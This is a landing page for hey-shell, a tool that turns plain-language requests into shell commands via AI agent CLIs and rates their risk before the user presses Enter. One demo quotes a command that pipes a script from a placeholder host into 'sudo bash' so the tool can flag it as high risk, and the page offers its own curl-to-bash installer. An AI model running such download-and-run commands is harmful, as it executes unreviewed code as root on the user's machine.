hey-shell

Your words.Shell commands.

Type what you need. Press your shortcut.
Review the command. Hit Enter when ready.

Install hey-shell →
bash · zsh · fishLinux · WSL2 · macOS

Works with Claude Code, Codex CLI or Gemini CLI

hey-shell never runs the suggested command. What the agent itself can do while answering depends on which one you pick.

Ask naturally

Describe what you need in plain language at your shell prompt.

Use your shortcut

Ctrl+G by default. Choose your key during installation.

Review & run

The risk and a failure check show under the command. Read or edit it, then press Enter. Nothing runs automatically.

See it work

Seven everyday requests, with what hey-shell actually returned.

01 / 07

Ask in plain words

Describe what you need and get a command you can read before it runs. This one includes hidden folders and lists the biggest first.

01 · disk space
❯Which folders take up the most space here?
Ctrl + Gturn the request into a command
Suggested command · review before running
du -sh -- */ .[!.]*/ 2>/dev/null | sort -hr | head -n 20
Risk: none recognized · Check: No known issues
after Enter: 5.9M .git/ 196K docs/ 88K test/ 40K lib/
02 / 07

See the risk first

Risky commands are rated MEDIUM or HIGH, with the reason, so you see the risk before you press Enter.

02 · port conflicts
❯Kill whatever is listening on port 3000
Ctrl + Gturn the request into a command
Suggested command · review before running
ss -Hlptn 'sport = :3000' | gawk -F'pid=' 'NF>1{split($2,a,","); print a[1]}' | sort -u | xargs -r kill
Risk: MEDIUM · Check: No known issues
  risk: terminates processes
03 / 07

Refine it

Not quite right? Add a # note after the command and press your shortcut again. The command changes instead of starting over.

03 · refine it
❯Find files bigger than 100 MB here
find . -type f -size +100M -exec ls -lh {} +
❯find . -type f -size +100M -exec ls -lh {} + # only videos
Ctrl + Gadd a # note, press again: the command changes
Suggested command · review before running
find . -type f -size +100M \( -iname '*.mp4' -o -iname '*.mov' -o -iname '*.mkv' -o -iname '*.avi' -o -iname '*.webm' -o -iname '*.m4v' -o -iname '*.wmv' -o -iname '*.flv' \) -exec ls -lh {} +
Risk: none recognized · Check: No known issues
04 / 07

Fix a failed command

Run hsf right after a command fails. You get a corrected version on your next prompt, with what was wrong. Nothing is re-run.

04 · fix a failed command
❯find . -name *.log -mtime +7 -delete
find: paths must precede expression: `b.log'
find: possible unquoted pattern after predicate `-name'?
❯hsf
Enterhsf fixes your last failed command
Suggested fix · review before running
find . -name '*.log' -mtime +7 -delete
The unquoted *.log was expanded by the shell into matching filenames before find ran, so find received extra arguments and exited with status 1. Quoting the pattern passes the literal *.log to find, which does the matching itself.
Warning: -delete permanently removes matching files older than 7 days under the current directory, and there is no undo.
Risk: HIGH · Check: No known issues
  risk: find that deletes files
05 / 07

Explain it

Ask with hse to get the command with a short explanation of what it does and what to watch out for. The command is then left on your next prompt.

05 · explain it
❯hse undo my last git commit but keep the changes
Enterthe command, with what it does
Suggested command · review before running
git reset --soft HEAD~1
This moves the branch back one commit and leaves all of that commit's changes staged, so you can recommit them.
Warning: This rewrites the last commit on master, so don't run it if that commit has already been pushed to a shared remote.
Risk: MEDIUM · Check: No known issues
  risk: changes git history or a remote
06 / 07

Check before you run

Got a command from somewhere? hsc looks for known reasons it would fail: syntax errors, missing programs, no git repo, no tmux server. It never runs the command. Here, from a shell with no tmux running.

06 · check before you run
❯hsc "tmux split-window -h"
Enterchecked, not run
fail no tmux server is running; start tmux first
07 / 07

What does this do?

Found a command in a README, a forum or an AI chat? hsw explains what it does before you run it. It never runs it itself.

07 · what does this do
❯hsw "curl -fsSL https://some-fix.example/patch.sh | sudo bash"
Enterexplained, not run
It downloads a script from some-fix.example and pipes it straight into bash with root privileges via sudo, so the script runs as root without you reading it first. The URL is a placeholder-looking domain, so you have no assurance who controls it or what the script contains.
Warning: Anything the server returns runs as root on this WSL2 machine, so download the script, read it, and only then run it with sudo.
Risk: HIGH · Check: No known issues
  risk: downloads and runs a script

Real output with the default agent (Claude Code, Haiku model). bash, zsh and fish work the same way, and so do Codex CLI and Gemini CLI; answers vary by agent and model. Nothing runs until you press Enter.

When you need more

None of this is needed for the main flow. It is there when a command is not quite right, or fails.

01

Refine it

Not quite right? Add # only .ts files after the command and press your shortcut again. It changes the command instead of starting over.

02

Fix a failed command

Run hsf right after a command fails. You get a corrected version on your next prompt, with what was wrong. Nothing is re-run.

03

Explain any command

hse <request> adds a short explanation, and hsw "<command>" explains a command you found somewhere, before you run it.

04

Fits your setup

The agent is told which tools you have (rg, fd, jq…) and what the project is (pnpm, Makefile targets, compose). Names only, never file contents.

05

Risk you can see

Deletes, force-pushes, overwrites, cloud deletes and download-and-run (curl … | /bin/bash) are flagged in amber or red. Anything else shows Risk: none recognized: no known pattern matched, which is not the same as safe.

06

A check before you run

Missing programs, syntax errors and wrong context (no git repo, no tmux server) show as Check: LIKELY FAIL. It never runs the command.

07

What gets sent

Your request goes to the agent you picked, with your OS, shell and folder (as ~/project, without your user name). Also tool names, project type and git branch, which HEY_SHELL_CONTEXT=0 turns off. No file contents. Nothing is logged on your machine unless you turn history on.

08

bash, zsh and fish

The same shortcut and commands in all three, with commands written for your shell: set -gx in fish, export in bash and zsh.

Choose your agent

hey-shell asks the AI agent CLI you already use and are logged in to, and never runs what comes back. Agents can use their own tools while they answer, so here is exactly what hey-shell restricts for each:

01 · DEFAULT

claude

Claude Code

Text only. No tools, no MCP servers, no saved session.

02

codex

OpenAI Codex CLI

No writes. A read-only sandbox your Codex config cannot loosen. It may read files in the folder while answering.

03 · EXPERIMENTAL

gemini

Google Gemini CLI

Not restricted by hey-shell. Gemini CLI has no documented way to turn its tools off, so this relies on its own defaults.

$ ~/hey-shell/install.sh --agent codex

Your terminal. Your shortcut.

~/hey-shell/install.sh --key alt+o

Install

One line. It downloads the newest release and asks for your key and short aliases. Then open a new terminal.

ONE LINE · COPY AND PASTE
$ curl -fsSL https://hey-shell.com/install | bash
OTHER AGENTS

Codex or Gemini

Add bash -s -- --agent codex (or gemini) to use those instead of Claude Code.

READ IT FIRST

Install by hand

The script is about 60 lines, or install by hand: git clone https://github.com/alparslanpolat/hey-shell ~/hey-shell && ~/hey-shell/install.sh

THEN TRY

Your first command

hse how to free up disk space for the command with an explanation, or hsc "<command>" to check one before you run it.

Generated commands are only placed on your prompt, never executed. Always read them before pressing Enter.